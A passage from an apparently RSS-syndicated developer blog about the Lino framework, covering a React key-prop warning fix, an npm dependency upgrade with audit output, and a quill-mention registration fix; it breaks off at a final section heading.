&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;default_display_modes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;constants&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;DISPLAY_MODE_SUMMARY&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Tables to test manually:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;checkdata.MessagesByOwner&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;dupable.SimilarObjects&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;comments.ReactionsByComment&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;notify.MyMessages&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;published.TranslationsByPage&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;uploads.AreaUploads&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;debts.PrintEntriesByBudget&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;integ.UsersWithClients&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;albums.FilesByAlbum&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;humanlinks.LinksByHuman&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2024/0925.html</guid><pubDate>Wed, 25 Sep 2024 00:00:00 +0000</pubDate></item><item><title>Tuesday, September 24, 2024</title><link>https://luc.lino-framework.org/blog/2024/0924.html</link><description>&lt;section id="tuesday-september-24-2024"&gt;
&lt;h1&gt;Tuesday, September 24, 2024&lt;a class="headerlink" href="#tuesday-september-24-2024" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Today I fixed the warning &lt;a class="reference internal" href="#a-props-object-containing-a-key-prop-is-being-spread-into-jsx"&gt;A props object containing a “key” prop is being
spread into JSX&lt;/a&gt; and I wrote a section “How to prepare lino_react for commit”
in &lt;a class="reference external" href="https://react.lino-framework.org/guide/build.html#react-start" title="(in Lino React)"&gt;&lt;span&gt;Build the static files&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;section id="a-props-object-containing-a-key-prop-is-being-spread-into-jsx"&gt;
&lt;h2&gt;A props object containing a “key” prop is being spread into JSX&lt;a class="headerlink" href="#a-props-object-containing-a-key-prop-is-being-spread-into-jsx" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Full warning:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="ne"&gt;Warning&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;A&lt;/span&gt; &lt;span class="n"&gt;props&lt;/span&gt; &lt;span class="nb"&gt;object&lt;/span&gt; &lt;span class="n"&gt;containing&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;key&amp;quot;&lt;/span&gt; &lt;span class="n"&gt;prop&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;being&lt;/span&gt; &lt;span class="n"&gt;spread&lt;/span&gt; &lt;span class="n"&gt;into&lt;/span&gt; &lt;span class="n"&gt;JSX&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="n"&gt;let&lt;/span&gt; &lt;span class="n"&gt;props&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;someKey&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;window_layout&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;wt&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;editing_mode&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tabIndex&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;elem&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;parent&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;urlParams&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;children&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
  &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;ChoicesFieldElement&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="n"&gt;props&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class="n"&gt;React&lt;/span&gt; &lt;span class="n"&gt;keys&lt;/span&gt; &lt;span class="n"&gt;must&lt;/span&gt; &lt;span class="n"&gt;be&lt;/span&gt; &lt;span class="n"&gt;passed&lt;/span&gt; &lt;span class="n"&gt;directly&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;JSX&lt;/span&gt; &lt;span class="n"&gt;without&lt;/span&gt; &lt;span class="n"&gt;using&lt;/span&gt; &lt;span class="n"&gt;spread&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="n"&gt;let&lt;/span&gt; &lt;span class="n"&gt;props&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;window_layout&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;wt&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;editing_mode&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tabIndex&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;elem&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;parent&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;urlParams&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;children&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
  &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;ChoicesFieldElement&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;someKey&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="n"&gt;props&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;/&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The cause was actually quite easy, but it took me a while to find it:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;let&lt;/span&gt; &lt;span class="n"&gt;pss&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;style&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;style&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;className&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;classNames&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;l-component&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;resizable_panel&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;prSplitter&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SplitterPanel&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="n"&gt;pss&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;child&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;prSplitter&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SplitterPanel&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;div&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="n"&gt;pss&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Here is the correct code:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;let&lt;/span&gt; &lt;span class="n"&gt;pss&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;style&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;style&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;className&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;classNames&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;l-component&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;resizable_panel&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;prSplitter&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SplitterPanel&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="n"&gt;pss&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;child&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;prSplitter&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SplitterPanel&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;div&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="n"&gt;pss&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2024/0924.html</guid><pubDate>Tue, 24 Sep 2024 00:00:00 +0000</pubDate></item><item><title>I fixed the editor bug September 2024!</title><link>https://luc.lino-framework.org/blog/2024/0923.html</link><description>&lt;section id="i-fixed-the-editor-bug-september-2024"&gt;
&lt;h1&gt;I fixed the editor bug September 2024!&lt;a class="headerlink" href="#i-fixed-the-editor-bug-september-2024" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Monday, September 23, 2024&lt;/p&gt;
&lt;p&gt;We had a bug in the text field editor: when you start editing a text field that
has already some content, the field gets cleared before you receive the focus. I
don’t remember when I saw it for the first time. It’s there already several
weeks or maybe months.&lt;/p&gt;
&lt;p&gt;Yesterday I changed the quill version in &lt;a class="reference external" href="https://react.lino-framework.org/guide/npm.html#xfile-package.json" title="(in Lino React)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;package.json&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; from “^1.3.7” to
“^2.0.2”, but I’d actually want to try upgrading all dependencies to their
latest version. How to do that?&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ npm outdated
Package                                     Current   Wanted   Latest  Location                                                 Depended by
@babel/cli                                   7.24.8   7.25.6   7.25.6  node_modules/@babel/cli                                  react
@babel/core                                  7.24.9   7.25.2   7.25.2  node_modules/@babel/core                                 react
@babel/plugin-transform-runtime              7.14.3   7.25.4   7.25.4  node_modules/@babel/plugin-transform-runtime             react
@babel/preset-env                            7.14.4   7.25.4   7.25.4  node_modules/@babel/preset-env                           react
@babel/preset-react                         7.13.13   7.24.7   7.24.7  node_modules/@babel/preset-react                         react
@electron-forge/cli                           7.4.0    7.5.0    7.5.0  node_modules/@electron-forge/cli                         react
@electron-forge/maker-deb                     7.4.0    7.5.0    7.5.0  node_modules/@electron-forge/maker-deb                   react
@electron-forge/maker-rpm                     7.4.0    7.5.0    7.5.0  node_modules/@electron-forge/maker-rpm                   react
@electron-forge/maker-squirrel                7.4.0    7.5.0    7.5.0  node_modules/@electron-forge/maker-squirrel              react
@electron-forge/maker-zip                     7.4.0    7.5.0    7.5.0  node_modules/@electron-forge/maker-zip                   react
@electron-forge/plugin-auto-unpack-natives    7.4.0    7.5.0    7.5.0  node_modules/@electron-forge/plugin-auto-unpack-natives  react
@electron-forge/plugin-fuses                  7.4.0    7.5.0    7.5.0  node_modules/@electron-forge/plugin-fuses                react
@testing-library/jest-dom                     6.4.6    6.5.0    6.5.0  node_modules/@testing-library/jest-dom                   react
@testing-library/react                       14.3.1   14.3.1   16.0.1  node_modules/@testing-library/react                      react
@types/jest                                 29.5.12  29.5.13  29.5.13  node_modules/@types/jest                                 react
@types/react                                 18.3.3   18.3.8   18.3.8  node_modules/@types/react                                react
babel-loader                                  9.1.3    9.2.1    9.2.1  node_modules/babel-loader                                react
css-loader                                   6.11.0   6.11.0    7.1.2  node_modules/css-loader                                  react
css-minimizer-webpack-plugin                  5.0.1    5.0.1    7.0.0  node_modules/css-minimizer-webpack-plugin                react
electron                                     29.4.5   29.4.6   32.1.2  node_modules/electron                                    react
electron-log                                  5.1.7    5.2.0    5.2.0  node_modules/electron-log                                react
esbuild                                     0.19.12  0.19.12   0.24.0  node_modules/esbuild                                     react
i18next                                     23.13.0  23.15.1  23.15.1  node_modules/i18next                                     react
i18next-browser-languagedetector              7.2.1    7.2.1    8.0.0  node_modules/i18next-browser-languagedetector            react
i18next-http-backend                          2.5.2    2.6.1    2.6.1  node_modules/i18next-http-backend                        react
jest-puppeteer                                9.0.2    9.0.2   10.1.1  node_modules/jest-puppeteer                              react
primeicons                                    6.0.1    6.0.1    7.0.0  node_modules/primeicons                                  react
puppeteer                                   21.11.0  21.11.0   23.4.0  node_modules/puppeteer                                   react
query-string                                  8.2.0    8.2.0    9.1.0  node_modules/query-string                                react
quill-mention                                 4.1.0    4.1.0    6.0.1  node_modules/quill-mention                               react
rc-collapse                                   3.7.3    3.8.0    3.8.0  node_modules/rc-collapse                                 react
react-i18next                                14.1.3   14.1.3   15.0.2  node_modules/react-i18next                               react
react-router-dom                             6.26.1   6.26.2   6.26.2  node_modules/react-router-dom                            react
style-loader                                  3.3.4    3.3.4    4.0.0  node_modules/style-loader                                react
ts-jest                                      29.2.4   29.2.5   29.2.5  node_modules/ts-jest                                     react
typescript                                    5.5.4    5.6.2    5.6.2  node_modules/typescript                                  react
uglify-js                                    3.19.2   3.19.3   3.19.3  node_modules/uglify-js                                   react
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;dl&gt;
&lt;dt&gt;::&lt;/dt&gt;&lt;dd&gt;&lt;p&gt;$ npx npm-check-updates -u
Need to install the following packages:
&lt;a class="reference external" href="mailto:npm-check-updates&amp;#37;&amp;#52;&amp;#48;17&amp;#46;1&amp;#46;3"&gt;npm-check-updates&lt;span&gt;&amp;#64;&lt;/span&gt;17&lt;span&gt;&amp;#46;&lt;/span&gt;1&lt;span&gt;&amp;#46;&lt;/span&gt;3&lt;/a&gt;
Ok to proceed? (y)&lt;/p&gt;
&lt;p&gt;Upgrading /home/luc/work/react/package.json
[====================] 76/76 100%&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;&amp;#64;babel/cli                                    ^7.24.1  →   ^7.25.6
&amp;#64;babel/core                                   ^7.13.1  →   ^7.25.2
&amp;#64;babel/plugin-transform-runtime              ^7.13.10  →   ^7.25.4
&amp;#64;babel/preset-env                             ^7.13.5  →   ^7.25.4
&amp;#64;babel/preset-react                          ^7.12.13  →   ^7.24.7
&amp;#64;babel/preset-typescript                      ^7.23.3  →   ^7.24.7
&amp;#64;electron-forge/cli                            ^7.3.0  →    ^7.5.0
&amp;#64;electron-forge/maker-deb                      ^7.3.0  →    ^7.5.0
&amp;#64;electron-forge/maker-rpm                      ^7.3.0  →    ^7.5.0
&amp;#64;electron-forge/maker-squirrel                 ^7.3.0  →    ^7.5.0
&amp;#64;electron-forge/maker-zip                      ^7.3.0  →    ^7.5.0
&amp;#64;electron-forge/plugin-auto-unpack-natives     ^7.3.0  →    ^7.5.0
&amp;#64;electron-forge/plugin-fuses                   ^7.3.0  →    ^7.5.0
&amp;#64;electron/fuses                                ^1.7.0  →    ^1.8.0
&amp;#64;testing-library/jest-dom                      ^6.1.5  →    ^6.5.0
&amp;#64;testing-library/react                        ^14.1.2  →   ^16.0.1
&amp;#64;types/jest                                  ^29.5.11  →  ^29.5.13
&amp;#64;types/lodash                               ^4.14.202  →   ^4.17.7
&amp;#64;types/react                                 ^18.2.28  →   ^18.3.8
&amp;#64;types/react-dom                             ^18.2.13  →   ^18.3.0
autoprefixer                                  ^10.2.4  →  ^10.4.20
babel-loader                                   ^9.1.3  →    ^9.2.1
builder-util-runtime                           ^9.2.4  →    ^9.2.5
classnames                                     ^2.2.6  →    ^2.5.1
css-loader                                     ^6.8.1  →    ^7.1.2
css-minimizer-webpack-plugin                   ^5.0.1  →    ^7.0.0
electron                                      ^29.1.0  →   ^32.1.2
electron-log                                   ^5.1.1  →    ^5.2.0
electron-squirrel-startup                      ^1.0.0  →    ^1.0.1
electron-updater                               ^6.1.8  →    ^6.3.4
esbuild                                       ^0.19.8  →   ^0.24.0
html-webpack-plugin                            ^5.5.3  →    ^5.6.0
i18next                                      ^23.10.1  →  ^23.15.1
i18next-browser-languagedetector               ^7.2.1  →    ^8.0.0
i18next-http-backend                           ^2.5.0  →    ^2.6.1
i18next-scanner                                ^4.4.0  →    ^4.5.0
jest-puppeteer                                 ^9.0.2  →   ^10.1.1
primeicons                                     ^6.0.1  →    ^7.0.0
prop-types                                    ^15.7.2  →   ^15.8.1
puppeteer                                     ^21.6.1  →   ^23.4.0
query-string                                   ^8.1.0  →    ^9.1.0
quill-mention                                  ^4.1.0  →    ^6.0.1
rc-collapse                                    ^3.1.0  →    ^3.8.0
react                                         ^18.2.0  →   ^18.3.1
react-i18next                                 ^14.1.0  →   ^15.0.2
react-router-dom                              ^6.21.1  →   ^6.26.2
react-test-renderer                           ^18.2.0  →   ^18.3.1
react-transition-group                         ^4.4.1  →    ^4.4.5
style-loader                                   ^3.3.3  →    ^4.0.0
ts-jest                                       ^29.1.1  →   ^29.2.5
typescript                                     ^5.3.3  →    ^5.6.2
uglify-js                                     ^3.17.4  →   ^3.19.3
weak-key                                       ^1.0.2  →    ^1.0.3
webpack                                       ^5.53.0  →   ^5.94.0
whatwg-fetch                                   ^3.6.1  →   ^3.6.20
workbox-precaching                             ^7.0.0  →    ^7.1.0
workbox-webpack-plugin                         ^7.0.0  →    ^7.1.0&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;Run npm install to install new versions.
$&lt;/p&gt;
&lt;/dd&gt;
&lt;/dl&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ npm install

added 32 packages, removed 43 packages, changed 169 packages, and audited 1687 packages in 1m

201 packages are looking for funding
  run `npm fund` for details

7 vulnerabilities (1 high, 6 critical)

To address all issues (including breaking changes), run:
  npm audit fix --force

Run `npm audit` for details.
$
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ npm audit fix

up to date, audited 1687 packages in 3s

201 packages are looking for funding
  run `npm fund` for details

# npm audit report

babel-traverse  *
Severity: critical
Babel vulnerable to arbitrary code execution when compiling specifically crafted malicious code - https://github.com/advisories/GHSA-67hx-6x53-jw92
fix available via `npm audit fix --force`
Will install babel-plugin-transform-class-properties@6.10.2, which is a breaking change
node_modules/babel-traverse
  babel-helper-function-name  *
  Depends on vulnerable versions of babel-template
  Depends on vulnerable versions of babel-traverse
  node_modules/babel-helper-function-name
    babel-plugin-transform-class-properties  &amp;gt;=6.11.5
    Depends on vulnerable versions of babel-helper-function-name
    Depends on vulnerable versions of babel-template
    node_modules/babel-plugin-transform-class-properties
  babel-template  *
  Depends on vulnerable versions of babel-traverse
  node_modules/babel-template

json5  &amp;lt;1.0.2
Severity: high
Prototype Pollution in JSON5 via Parse Method - https://github.com/advisories/GHSA-9c47-m6qq-7p4h
fix available via `npm audit fix --force`
Will install webpack-typescript@0.5.5, which is a breaking change
node_modules/webpack-typescript/node_modules/json5
  loader-utils  &amp;lt;=1.4.0
  Depends on vulnerable versions of json5
  node_modules/webpack-typescript/node_modules/loader-utils
    webpack-typescript  &amp;gt;=0.5.6
    Depends on vulnerable versions of loader-utils
    node_modules/webpack-typescript


7 vulnerabilities (1 high, 6 critical)

To address all issues (including breaking changes), run:
  npm audit fix --force
$
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ npm audit fix --force
npm warn using --force Recommended protections disabled.
npm warn audit Updating webpack-typescript to 0.5.5, which is a SemVer major change.
npm warn audit Updating babel-plugin-transform-class-properties to 6.10.2, which is a SemVer major change.

removed 25 packages, changed 2 packages, and audited 1662 packages in 2s

201 packages are looking for funding
  run `npm fund` for details

found 0 vulnerabilities
$
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;After this upgrade, I had 2 &lt;cite&gt;build&lt;/cite&gt; errors in &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;cloneUI.ts&lt;/span&gt;&lt;/code&gt; and
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;integrity.ts&lt;/span&gt;&lt;/code&gt; in &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_react/react/components/__tests__&lt;/span&gt;&lt;/code&gt;, the same
ones reported already by Joy when she had upgraded her dependencies. So it was
easy to fix them.&lt;/p&gt;
&lt;p&gt;Now the front-end builds, and works at first glance… and surprise: the bug is
gone!&lt;/p&gt;
&lt;p&gt;But there are at least two new problems:&lt;/p&gt;
&lt;section id="quill-cannot-import-modules-mention-are-you-sure-it-was-registered"&gt;
&lt;h2&gt;quill Cannot import modules/mention. Are you sure it was registered?&lt;a class="headerlink" href="#quill-cannot-import-modules-mention-are-you-sure-it-was-registered" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;When a textfield editor starts, the JS console says “quill Cannot import
modules/mention. Are you sure it was registered?”&lt;/p&gt;
&lt;p&gt;I saw that quill-mention has evolved from version 4 to 6 and that the first
thing they instruct &lt;a class="reference external" href="https://github.com/quill-mention/quill-mention"&gt;in their README&lt;/a&gt; is to &lt;cite&gt;import
‘quill-mention/autoregister’;&lt;/cite&gt;, and that Lino’s &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;quillmodules.jsx&lt;/span&gt;&lt;/code&gt; file
doesn’t do this. So I added that line and the warning went away. No need to dive
deeper right now.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="uncaught-in-promise-typeerror-n-is-null"&gt;
&lt;h2&gt;Uncaught (in promise) TypeError: n is null&lt;a class="headerlink" href="#uncaught-in-promise-typeerror-n-is-null" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
